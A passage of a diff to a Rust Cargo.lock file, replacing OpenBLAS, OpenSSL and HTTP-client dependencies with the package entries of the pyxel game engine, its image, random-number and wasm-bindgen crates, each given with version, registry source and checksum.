"miniz_oxide" -version = "0.7.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e7810e0be55b428ada41041c41f32c9f1a42817901b4ccf45fa3d4b6561e74c7" -dependencies = [ - "adler", -] - -[[package]] -name = "native-tls" -version = "0.2.11" +name = "minimal-lexical" +version = "0.2.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "07226173c32f2926027b63cce4bcd8076c3552846cbe7925f3aaffeac0a3b92e" -dependencies = [ - "lazy_static", - "libc", - "log", - "openssl", - "openssl-probe", - "openssl-sys", - "schannel", - "security-framework", - "security-framework-sys", - "tempfile", -] +checksum = "68354c5c6bd36d73ff3feceb05efa59b6acb7626617f4962be322a825e61f79a" [[package]] -name = "netlib-src" -version = "0.8.0" +name = "miniz_oxide" +version = "0.3.7" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "39f41f36bb4d46906d5a72da5b73a804d9de1a7282eb7c89617201acda7b8212" +checksum = "791daaae1ed6889560f8c4359194f56648355540573244a5448a83ba1ecc7435" dependencies = [ - "cmake", + "adler32", ] [[package]] -name = "num-complex" +name = "miniz_oxide" version = "0.4.4" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1ba157ca0885411de85d6ca030ba7e2a83a28636056c7c699b07c8b6f7383214" +checksum = "a92518e98c078586bc6c934028adcca4c92a53d6a958196de835170a01d84e4b" dependencies = [ - "num-traits", + "adler", + "autocfg", ] [[package]] -name = "num-derive" -version = "0.2.5" +name = "miniz_oxide" +version = "0.7.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "eafd0b45c5537c3ba526f79d3e75120036502bebacbb3f3220914067ce39dbf2" +checksum = "9d811f3e15f28568be3407c8e7fdb6514c1cda3cb30683f15b6a1a1dc4ea14a7" dependencies = [ - "proc-macro2 0.4.30", - "quote 0.6.13", - "syn 0.15.44", + "adler", + "simd-adler32", ] [[package]] -name = "num-traits" -version = "0.2.17" +name = "noise" +version = "0.7.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "39e3200413f237f41ab11ad6d161bc7239c84dcb631773ccd7de3dfe4b5c267c" +checksum = "82051dd6745d5184c6efb7bc8be14892a7f6d4f3ad6dbf754d1c7d7d5fe24b43" dependencies = [ - "autocfg", + "image 0.23.14", + "rand 0.7.3", + "rand_xorshift", ] [[package]] -name = "object" -version = "0.32.2" +name = "nom" +version = "7.1.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a6a622008b6e321afc04970976f62ee297fdbaa6f95318ca343e3eebb9648441" +checksum = "d273983c5a657a70a3e8f2a01329822f3b8c8172b73826411a55751e404a0a4a" dependencies = [ "memchr", + "minimal-lexical", ] [[package]] -name = "once_cell" -version = "1.19.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "3fdb12b2476b595f9358c5161aa467c2438859caa136dec86c26fdd2efe17b92" - -[[package]] -name = "openblas-build" -version = "0.10.8" +name = "ntapi" +version = "0.4.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "eba42c395477605f400a8d79ee0b756cfb82abe3eb5618e35fa70d3a36010a7f" +checksum = "e8a3895c6391c39d7fe7ebc444a87eb2991b2a0bc718fdabd071eec617fc68e4" dependencies = [ - "anyhow", - "flate2", - "native-tls", - "tar", - "thiserror", - "ureq", - "walkdir", + "winapi", ] [[package]] -name = "openblas-src" -version = "0.10.8" +name = "num-integer" +version = "0.1.46" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "38e5d8af0b707ac2fe1574daa88b4157da73b0de3dc7c39fe3e2c0bb64070501" +checksum = "7969661fd2958a5cb096e56c8e1ad0444ac2bbcd0061bd28660485a44879858f" dependencies = [ - "dirs 3.0.2", - "openblas-build", - "vcpkg", + "num-traits", ] [[package]] -name = "openssl" -version = "0.10.62" +name = "num-iter" +version = "0.1.44" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8cde4d2d9200ad5909f8dac647e29482e07c3a35de8a13fce7c9c7747ad9f671" +checksum = "d869c01cc0c455284163fd0092f1f93835385ccab5a98a0dcc497b2f8bf055a9" dependencies = [ - "bitflags 2.4.1", - "cfg-if 1.0.0", - "foreign-types", - "libc", - "once_cell", - "openssl-macros", - "openssl-sys", + "autocfg", + "num-integer", + "num-traits", ] [[package]] -name = "openssl-macros" -version = "0.1.1" +name = "num-rational" +version = "0.3.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a948666b637a0f465e8564c73e89d4dde00d72d4d473cc972f390fc3dcee7d9c" +checksum = "12ac428b1cb17fce6f731001d307d351ec70a6d202fc2e60f7d4c5e42d8f4f07" dependencies = [ - "proc-macro2 1.0.76", - "quote 1.0.35", - "syn 2.0.48", + "autocfg", + "num-integer", + "num-traits", ] [[package]] -name = "openssl-probe" -version = "0.1.5" +name = "num-traits" +version = "0.2.18" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ff011a302c396a5197692431fc1948019154afc178baf7d8e37367442a4601cf" +checksum = "da0df0e5185db44f69b44f26786fe401b6c293d1907744beaa7fa62b2e5a517a" +dependencies = [ + "autocfg", +] [[package]] -name = "openssl-sys" -version = "0.9.98" +name = "once_cell" +version = "1.19.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c1665caf8ab2dc9aef43d1c0023bd904633a6a05cb30b0ad59bec2ae986e57a7" -dependencies = [ - "cc", - "libc", - "pkg-config", - "vcpkg", -] +checksum = "3fdb12b2476b595f9358c5161aa467c2438859caa136dec86c26fdd2efe17b92" [[package]] name = "parking_lot" @@ -797,7 +734,7 @@ version = "0.9.9" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "4c42a9226546d68acdd9c0a280d17ce19bfe27a46bf68784e4066115788d008e" dependencies = [ - "cfg-if 1.0.0", + "cfg-if", "libc", "redox_syscall", "smallvec", @@ -805,42 +742,83 @@ dependencies = [ ] [[package]] -name = "percent-encoding" -version = "2.3.1" +name = "paste" +version = "1.0.14" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e3148f5046208a5d56bcfc03053e3ca6334e51da8dfb19b6cdc8b306fae3283e" +checksum = "de3145af08024dea9fa9914f381a17b8fc6034dfb00f3a84013f7ff43f29ed4c" [[package]] -name = "pkg-config" -version = "0.3.28" +name = "peeking_take_while" +version = "0.1.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "69d3587f8a9e599cc7ec2c00e331f71c4e69a5f9a4b8a6efd5b07466b9736f9a" +checksum = "19b17cddbe7ec3f8bc800887bab5e717348c95ea2ca0b1bf0837fb964dc67099" [[package]] -name = "proc-macro2" -version = "0.4.30" +name = "platform-dirs" +version = "0.3.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "cf3d2011ab5c909338f7887f4fc896d35932e29146c12c8d01da6b22a80ba759" +checksum = "e188d043c1a692985f78b5464853a263f1a27e5bd6322bad3a4078ee3c998a38" dependencies = [ - "unicode-xid 0.1.0", + "dirs-next", +] + +[[package]] +name = "png" +version = "0.16.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3c3287920cb847dee3de33d301c463fba14dda99db24214ddf93f83d3021f4c6" +dependencies = [ + "bitflags 1.3.2", + "crc32fast", + "deflate", + "miniz_oxide 0.3.7", +] + +[[package]] +name = "png" +version = "0.17.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "78c2378060fb13acff3ba0325b83442c1d2c44fbb76df481160ddc1687cce160" +dependencies = [ + "bitflags 1.3.2", + "crc32fast", + "fdeflate", + "flate2", + "miniz_oxide 0.7.2", +] + +[[package]] +name = "ppv-lite86" +version = "0.2.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5b40af805b3121feab8a3c29f04d8ad262fa8e0561883e7653e024ae4479e6de" + +[[package]] +name = "prettyplease" +version = "0.2.16" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a41cf62165e97c7f814d2221421dbb9afcbcdb0a88068e5ea206e19951c2cbb5" +dependencies = [ + "proc-macro2", + "syn", ] [[package]] name = "proc-macro2" -version = "1.0.76" +version = "1.0.78" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "95fc56cda0b5c3325f5fbbd7ff9fda9e02bb00bb3dac51252d2f1bfa1cb8cc8c" +checksum = "e2422ad645d89c99f8f3e6b88a9fdeca7fabeac836b1002371c4367c8f984aae" dependencies = [ "unicode-ident", ] [[package]] name = "pyo3" -version = "0.17.3" +version = "0.20.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "268be0c73583c183f2b14052337465768c07726936a260f480f0857cb95ba543" +checksum = "9a89dc7a5850d0e983be1ec2a463a171d20990487c3cfcd68b5363f1ee3d6fe0" dependencies = [ - "cfg-if 1.0.0", + "cfg-if", "indoc", "libc", "memoffset", @@ -853,9 +831,9 @@ dependencies = [ [[package]] name = "pyo3-build-config" -version = "0.17.3" +version = "0.20.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "28fcd1e73f06ec85bf3280c48c67e731d8290ad3d730f8be9dc07946923005c8" +checksum = "07426f0d8fe5a601f26293f300afd1a7b1ed5e78b2a705870c5f30893c5163be" dependencies = [ "once_cell", "target-lexicon", @@ -863,9 +841,9 @@ dependencies = [ [[package]] name = "pyo3-ffi" -version = "0.17.3" +version = "0.20.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0f6cb136e222e49115b3c51c32792886defbfb0adead26a688142b346a0b9ffc" +checksum = "dbb7dec17e17766b46bca4f1a4215a85006b4c2ecde122076c562dd058da6cf1" dependencies = [ "libc", "pyo3-build-config", @@ -873,34 +851,83 @@ dependencies = [ [[package]] name = "pyo3-macros" -version = "0.17.3" +version = "0.20.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "94144a1266e236b1c932682136dc35a9dee8d3589728f68130c7c3861ef96b28" +checksum = "05f738b4e40d50b5711957f142878cfa0f28e054aa0ebdfc3fd137a843f74ed3" dependencies = [ - "proc-macro2 1.0.76", + "proc-macro2", "pyo3-macros-backend", - "quote 1.0.35", - "syn 1.0.109", + "quote", + "syn", ] [[package]] name = "pyo3-macros-backend" -version = "0.17.3" +version = "0.20.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c8df9be978a2d2f0cdebabb03206ed73b11314701a5bfe71b0d753b81997777f" +checksum = "0fc910d4851847827daf9d6cdd4a823fbdaab5b8818325c5e97a86da79e8881f" dependencies = [ - "proc-macro2 1.0.76", - "quote 1.0.35", - "syn 1.0.109", + "heck", + "proc-macro2", + "quote", + "syn", ] [[package]] -name = "quote" -version = "0.6.13" +name = "pyxel-engine" +version = "2.0.7" +dependencies = [ + "cfg-if", + "chrono", + "gif 0.13.1", + "glow", + "image 0.24.8", + "indexmap", + "noise", + "once_cell", + "parking_lot", + "platform-dirs", + "pyxel-platform", + "rand 0.8.5", + "rand_xoshiro", + "semver", + "serde", + "serde-xml-rs", + "toml", + "zip", +] + +[[package]] +name = "pyxel-platform" +version = "2.0.7" +dependencies = [ + "bindgen", + "cfg-if", + "cmake", + "flate2", + "glow", + "once_cell", + "parking_lot", + "paste", + "tar", +] + +[[package]] +name = "pyxel-wrapper" +version = "2.0.7" +dependencies = [ + "pyo3", + "pyxel-engine", + "sysinfo", +] + +[[package]] +name = "qoi" +version = "0.4.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "6ce23b6b870e8f94f81fb0a363d65d86675884b34a09043c81e5562f11c1f8e1" +checksum = "7f6d64c71eb498fe9eae14ce4ec935c555749aef511cca85b5568910d6e48001" dependencies = [ - "proc-macro2 0.4.30", + "bytemuck", ] [[package]] @@ -909,224 +936,305 @@ version = "1.0.35" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "291ec9ab5efd934aaf503a6466c5d5251535d108ee747472c3977cc5acc868ef" dependencies = [ - "proc-macro2 1.0.76", + "proc-macro2", ] [[package]] -name = "r-src" -version = "0.1.0" +name = "rand" +version = "0.7.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ea397956e1043a8d947ea84b13971d9cb30fce65ca66a921081755ff2e899b6a" +checksum = "6a6b1679d49b24bbfe0c803429aa1874472f50d9b363131f0e89fc356b544d03" +dependencies = [ + "getrandom 0.1.16", + "libc", + "rand_chacha 0.2.2", + "rand_core 0.5.1", + "rand_hc", +] [[package]] -name = "redox_syscall" -version = "0.4.1" +name = "rand" +version = "0.8.5" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4722d768eff46b75989dd134e5c353f0d6296e5aaa3132e776cbdb56be7731aa" +checksum = "34af8d1a0e25924bc5b7c43c079c942339d8f0a8b57c39049bef581b46327404" dependencies = [ - "bitflags 1.3.2", + "libc", + "rand_chacha 0.3.1", + "rand_core 0.6.4", ] [[package]] -name = "redox_users" -version = "0.4.4" +name = "rand_chacha" +version = "0.2.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a18479200779601e498ada4e8c1e1f50e3ee19deb0259c25825a98b5603b2cb4" +checksum = "f4c8ed856279c9737206bf725bf36935d8666ead7aa69b52be55af369d193402" dependencies = [ - "getrandom", - "libredox", - "thiserror", + "ppv-lite86", + "rand_core 0.5.1", ] [[package]] -name = "rustc-demangle" -version = "0.1.23" +name = "rand_chacha" +version = "0.3.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d626bb9dae77e28219937af045c257c28bfd3f69333c512553507f5f9798cb76" +checksum = "e6c10a63a0fa32252be49d21e7709d4d4baf8d231c2dbce1eaa8141b9b127d88" +dependencies = [ + "ppv-lite86", + "rand_core 0.6.4", +] [[package]] -name = "rustix" -version = "0.38.30" +name = "rand_core" +version = "0.5.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "322394588aaf33c24007e8bb3238ee3e4c5c09c084ab32bc73890b99ff326bca" +checksum = "90bde5296fc891b0cef12a6d03ddccc162ce7b2aff54160af9338f8d40df6d19" dependencies = [ - "bitflags 2.4.1", - "errno", - "libc", - "linux-raw-sys", - "windows-sys 0.52.0", + "getrandom 0.1.16", ] [[package]] -name = "rustls-native-certs" -version = "0.6.3" +name = "rand_core" +version = "0.6.4" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a9aace74cb666635c918e9c12bc0d348266037aa8eb599b5cba565709a8dff00" +checksum = "ec0be4795e2f6a28069bec0b5ff3e2ac9bafc99e6a9a7dc3547996c5c816922c" dependencies = [ - "openssl-probe", - "rustls-pemfile", - "schannel", - "security-framework", + "getrandom 0.2.12", ] [[package]] -name = "rustls-pemfile" -version = "1.0.4" +name = "rand_hc" +version = "0.2.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1c74cae0a4cf6ccbbf5f359f08efdf8ee7e1dc532573bf0db71968cb56b1448c" +checksum = "ca3129af7b92a17112d59ad498c6f81eaf463253766b90396d39ea7a39d6613c" dependencies = [ - "base64", + "rand_core 0.5.1", ] [[package]] -name = "ryu" -version = "1.0.16" +name = "rand_xorshift" +version = "0.2.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f98d2aa92eebf49b69786be48e4477826b256916e84a57ff2a4f21923b48eb4c" +checksum = "77d416b86801d23dde1aa643023b775c3a462efc0ed96443add11546cdf1dca8" +dependencies = [ + "rand_core 0.5.1", +] [[package]] -name = "same-file" -version = "1.0.6" +name = "rand_xoshiro" +version = "0.6.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "93fc1dc3aaa9bfed95e02e6eadabb4baf7e3078b0bd1b4d7b6b0b68378900502" +checksum = "6f97cdb2a36ed4183de61b2f824cc45c9f1037f28afe0a322e9fff4c108b5aaa" dependencies = [ - "winapi-util", + "rand_core 0.6.4", ] [[package]] -name = "schannel" -version = "0.1.23" +name = "rayon" +version = "1.8.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "fbc91545643bcf3a0bbb6569265615222618bdf33ce4ffbbd13c4bbd4c093534" +checksum = "fa7237101a77a10773db45d62004a272517633fbcc3df19d96455ede1122e051" dependencies = [ - "windows-sys 0.52.0", + "either", + "rayon-core", ] [[package]] -name = "scopeguard" -version = "1.2.0" +name = "rayon-core" +version = "1.12.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "94143f37725109f92c262ed2cf5e59bce7498c01bcc1502d7b9afe439a4e9f49" +checksum = "1465873a3dfdaa8ae7cb14b4383657caab0b3e8a0aa9ae8e04b044854c8dfce2" +dependencies = [ + "crossbeam-deque", + "crossbeam-utils", +] [[package]] -name = "security-framework" -version = "2.9.2" +name = "redox_syscall" +version = "0.4.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "05b64fb303737d99b81884b2c63433e9ae28abebe5eb5045dcdd175dc2ecf4de" +checksum = "4722d768eff46b75989dd134e5c353f0d6296e5aaa3132e776cbdb56be7731aa" dependencies = [ "bitflags 1.3.2", - "core-foundation", - "core-foundation-sys", - "libc", - "security-framework-sys", ] [[package]] -name = "security-framework-sys" -version = "2.9.1" +name = "redox_users" +version = "0.4.4" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e932934257d3b408ed8f30db49d85ea163bfe74961f017f405b025af298f0c7a" +checksum = "a18479200779601e498ada4e8c1e1f50e3ee19deb0259c25825a98b5603b2cb4" dependencies = [ - "core-foundation-sys", - "libc", + "getrandom 0.2.12", + "libredox", + "thiserror", ] [[package]] -name = "serde" -version = "1.0.195" +name = "regex" +version = "1.10.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "63261df402c67811e9ac6def069e4786148c4563f4b50fd4bf30aa370d626b02" +checksum = "b62dbe01f0b06f9d8dc7d49e05a0785f153b00b2c227856282f671e0318c9b15" dependencies = [ - "serde_derive", + "aho-corasick", + "memchr", + "regex-automata", + "regex-syntax", ] [[package]] -name = "serde_derive" -version = "1.0.195" +name = "regex-automata" +version = "0.4.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5bb987efffd3c6d0d8f5f89510bb458559eab11e4f869acb20bf845e016259cd" +dependencies = [ + "aho-corasick", + "memchr", + "regex-syntax", +] + +[[package]] +name = "regex-syntax" +version = "0.8.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c08c74e62047bb2de4ff487b251e4a92e24f48745648451635cec7d591162d9f" + +[[package]] +name = "rustc-hash" +version = "1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "08d43f7aa6b08d49f382cde6a7982047c3426db949b1424bc4b7ec9ae12c6ce2" + +[[package]] +name = "rustix" +version = "0.38.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6ea3e1a662af26cd7a3ba09c0297a31af215563ecf42817c98df621387f4e949" +dependencies = [ + "bitflags 2.4.2", + "errno", + "libc", + "linux-raw-sys", + "windows-sys 0.52.0", +] + +[[package]] +name = "scoped_threadpool" +version = "0.1.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1d51f5df5af43ab3f1360b429fa5e0152ac5ce8c0bd6485cae490332e96846a8" + +[[package]] +name = "scopeguard" +version = "1.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "94143f37725109f92c262ed2cf5e59bce7498c01bcc1502d7b9afe439a4e9f49" + +[[package]] +name = "semver" +version = "1.0.21" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "46fe8f8603d81ba86327b23a2e9cdf49e1255fb94a4c5f297f6ee0547178ea2c" +checksum = "b97ed7a9823b74f99c7742f5336af7be5ecd3eeafcb1507d1fa93347b1d589b0" + +[[package]] +name = "serde" +version = "1.0.196" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "870026e60fa08c69f064aa766c10f10b1d62db9ccd4d0abb206472bee0ce3b32" dependencies = [ - "proc-macro2 1.0.76", - "quote 1.0.35", - "syn 2.0.48", + "serde_derive", ] [[package]] -name = "serde_json" -version = "1.0.111" +name = "serde-xml-rs" +version = "0.6.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "176e46fa42316f18edd598015a5166857fc835ec732f5215eac6b7bdbf0a84f4" +checksum = "fb3aa78ecda1ebc9ec9847d5d3aba7d618823446a049ba2491940506da6e2782" dependencies = [ - "itoa", - "ryu", + "log", "serde", + "thiserror", + "xml-rs", ] [[package]] -name = "smallvec" -version = "1.11.2" +name = "serde_derive" +version = "1.0.196" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4dccd0940a2dcdf68d092b8cbab7dc0ad8fa938bf95787e1b916b0e3d0e8e970" +checksum = "33c85360c95e7d137454dc81d9a4ed2b8efd8fbe19cee57357b32b9771fccb67" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] [[package]] -name = "socket2" -version = "0.4.10" +name = "serde_spanned" +version = "0.6.5" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9f7916fc008ca5542385b89a3d3ce689953c143e9304a9bf8beec1de48994c0d" +checksum = "eb3622f419d1296904700073ea6cc23ad690adbd66f13ea683df73298736f0c1" dependencies = [ - "libc", - "winapi", + "serde", ] [[package]] -name = "strsim" -version = "0.10.0" +name = "shlex" +version = "1.3.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "73473c0e59e6d5812c5dfe2a064a6444949f089e20eec9a2e5506596494e4623" +checksum = "0fda2ff0d084019ba4d7c6f371c95d8fd75ce3524c3cb8fb653a3023f6323e64" [[package]] -name = "syn" -version = "0.15.44" +name = "simd-adler32" +version = "0.3.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d66dc143e6b11c1eddc06d5c423cfc97062865baf299914ab64caa38182078fe" + +[[package]] +name = "slotmap" +version = "1.0.7" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9ca4b3b69a77cbe1ffc9e198781b7acb0c7365a883670e8f1c1bc66fba79a5c5" +checksum = "dbff4acf519f630b3a3ddcfaea6c06b42174d9a44bc70c620e9ed1649d58b82a" dependencies = [ - "proc-macro2 0.4.30", - "quote 0.6.13", - "unicode-xid 0.1.0", + "version_check", ] [[package]] -name = "syn" -version = "1.0.109" +name = "smallvec" +version = "1.13.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e6ecd384b10a64542d77071bd64bd7b231f4ed5940fba55e98c3de13824cf3d7" + +[[package]] +name = "spin" +version = "0.9.8" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "72b64191b275b66ffe2469e8af2c1cfe3bafa67b529ead792a6d0160888b4237" +checksum = "6980e8d7511241f8acf4aebddbb1ff938df5eebe98691418c4468d0b72a96a67" dependencies = [ - "proc-macro2 1.0.76", - "quote 1.0.35", - "unicode-ident", + "lock_api", ] [[package]] name = "syn" -version = "2.0.48" +version = "2.0.49" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0f3531638e407dfc0814761abb7c00a5b54992b849452a0646b7f65c9f770f3f" +checksum = "915aea9e586f80826ee59f8453c1101f9d1c4b3964cd2460185ee8e299ada496" dependencies = [ - "proc-macro2 1.0.76", - "quote 1.0.35", + "proc-macro2", + "quote", "unicode-ident", ] [[package]] -name = "synstructure" -version = "0.12.6" +name = "sysinfo" +version = "0.30.5" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f36bdaa60a83aca3921b5259d5400cbf5e90fc51931376a9bd4a0eb79aa7210f" +checksum = "1fb4f3438c8f6389c864e61221cbc97e9bca98b4daf39a5beb7bea660f528bb2" dependencies = [ - "proc-macro2 1.0.76", - "quote 1.0.35", - "syn 1.0.109", - "unicode-xid 0.2.4", + "cfg-if", + "core-foundation-sys", + "libc", + "ntapi", + "once_cell", + "rayon", + "windows", ] [[package]] @@ -1147,58 +1255,80 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "69758bda2e78f098e4ccb393021a0963bb3442eac05f135c30f61b7370bbafae" [[package]] -name = "tempfile" -version = "3.9.0" +name = "thiserror" +version = "1.0.57" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "01ce4141aa927a6d1bd34a041795abd0db1cccba5d5f24b009f694bdf3a1f3fa" +checksum = "1e45bcbe8ed29775f228095caf2cd67af7a4ccf756ebff23a306bf3e8b47b24b" dependencies = [ - "cfg-if 1.0.0", - "fastrand", - "redox_syscall", - "rustix", - "windows-sys 0.52.0", + "thiserror-impl", ] [[package]] -name = "thiserror" -version = "1.0.56" +name = "thiserror-impl" +version = "1.0.57" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d54378c645627613241d077a3a79db965db602882668f9136ac42af9ecb730ad" +checksum = "a953cb265bef375dae3de6663da4d3804eee9682ea80d8e2542529b73c531c81" dependencies = [ - "thiserror-impl", + "proc-macro2", + "quote", + "syn", ] [[package]] -name = "thiserror-impl" -version = "1.0.56" +name = "tiff" +version = "0.6.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "fa0faa943b50f3db30a20aa7e265dbc66076993efed8463e8de414e5d06d3471" +checksum = "9a53f4706d65497df0c4349241deddf35f84cee19c87ed86ea8ca590f4464437" dependencies = [ - "proc-macro2 1.0.76", - "quote 1.0.35", - "syn 2.0.48", + "jpeg-decoder 0.1.22", + "miniz_oxide 0.4.4", + "weezl", ] [[package]] -name = "tinyvec" -version = "1.6.0" +name = "tiff" +version = "0.9.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "87cc5ceb3875bb20c2890005a4e226a4651264a5c75edb2421b52861a0a0cb50" +checksum = "ba1310fcea54c6a9a4fd1aad794ecc02c31682f6bfbecdf460bf19533eed1e3e" dependencies = [ - "tinyvec_macros", + "flate2", + "jpeg-decoder 0.3.1", + "weezl", ] [[package]] -name = "tinyvec_macros" -version = "0.1.1" +name = "toml" +version = "0.8.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9a9aad4a3066010876e8dcf5a8a06e70a558751117a145c6ce2b82c2e2054290" +dependencies = [ + "serde", + "serde_spanned", + "toml_datetime", + "toml_edit", +] + +[[package]] +name = "toml_datetime" +version = "0.6.5" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1f3ccbac311fea05f86f61904b462b55fb3df8837a366dfc601a0161d0532f20" +checksum = "3550f4e9685620ac18a50ed434eb3aec30db8ba93b0287467bca5826ea25baf1" +dependencies = [ + "serde", +] [[package]] -name = "unicode-bidi" -version = "0.3.14" +name = "toml_edit" +version = "0.22.6" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "6f2528f27a9eb2b21e69c95319b30bd0efd85d09c379741b0f78ea1d86be2416" +checksum = "2c1b5fd4128cc8d3e0cb74d4ed9a9cc7c7284becd4df68f5f940e1ad123606f6" +dependencies = [ + "indexmap", + "serde", + "serde_spanned", + "toml_datetime", + "winnow", +] [[package]] name = "unicode-ident" @@ -1207,79 +1337,110 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "3354b9ac3fae1ff6755cb6db53683adb661634f67557942dea4facebec0fee4b" [[package]] -name = "unicode-normalization" -version = "0.1.22" +name = "unindent" +version = "0.2.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5c5713f0fc4b5db668a2ac63cdb7bb4469d8c9fed047b1d0292cc7b0ce2ba921" -dependencies = [ - "tinyvec", -] +checksum = "c7de7d73e1754487cb58364ee906a499937a0dfabd86bcb980fa99ec8c8fa2ce" [[package]] -name = "unicode-xid" -version = "0.1.0" +name = "version_check" +version = "0.9.4" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "fc72304796d0818e357ead4e000d19c9c174ab23dc11093ac919054d20a6a7fc" +checksum = "49874b5167b65d7193b8aba1567f5c7d93d001cafc34600cee003eda787e483f" [[package]] -name = "unicode-xid" -version = "0.2.4" +name = "wasi" +version = "0.9.0+wasi-snapshot-preview1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f962df74c8c05a667b5ee8bcf162993134c104e96440b663c8daa176dc772d8c" +checksum = "cccddf32554fecc6acb585f82a32a72e28b48f8c4c1883ddfeeeaa96f7d8e519" [[package]] -name = "unindent" -version = "0.1.11" +name = "wasi" +version = "0.11.0+wasi-snapshot-preview1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e1766d682d402817b5ac4490b3c3002d91dfa0d22812f341609f97b08757359c" +checksum = "9c8d87e72b64a3b4db28d11ce29237c246188f4f51057d65a7eab63b7987e423" [[package]] -name = "ureq" -version = "2.9.1" +name = "wasm-bindgen" +version = "0.2.91" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f8cdd25c339e200129fe4de81451814e5228c9b771d57378817d6117cc2b3f97" +checksum = "c1e124130aee3fb58c5bdd6b639a0509486b0338acaaae0c84a5124b0f588b7f" dependencies = [ - "base64", - "flate2", + "cfg-if", + "wasm-bindgen-macro", +] + +[[package]] +name = "wasm-bindgen-backend" +version = "0.2.91" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c9e7e1900c352b609c8488ad12639a311045f40a35491fb69ba8c12f758af70b" +dependencies = [ + "bumpalo", "log", - "native-tls", "once_cell", - "rustls-native-certs", - "url", + "proc-macro2", + "quote", + "syn", + "wasm-bindgen-shared", +] + +[[package]] +name = "wasm-bindgen-macro" +version = "0.2.91" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b30af9e2d358182b5c7449424f017eba305ed32a7010509ede96cdc4696c46ed" +dependencies = [ + "quote", + "wasm-bindgen-macro-support", ] [[package]] -name = "url" -version = "2.5.0" +name = "wasm-bindgen-macro-support" +version = "0.2.91" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "31e6302e3bb753d46e83516cae55ae196fc0c309407cf11ab35cc51a4c2a4633" +checksum = "642f325be6301eb8107a83d12a8ac6c1e1c54345a7ef1a9261962dfefda09e66" dependencies = [ - "form_urlencoded", - "idna", - "percent-encoding", + "proc-macro2", + "quote", + "syn", + "wasm-bindgen-backend", + 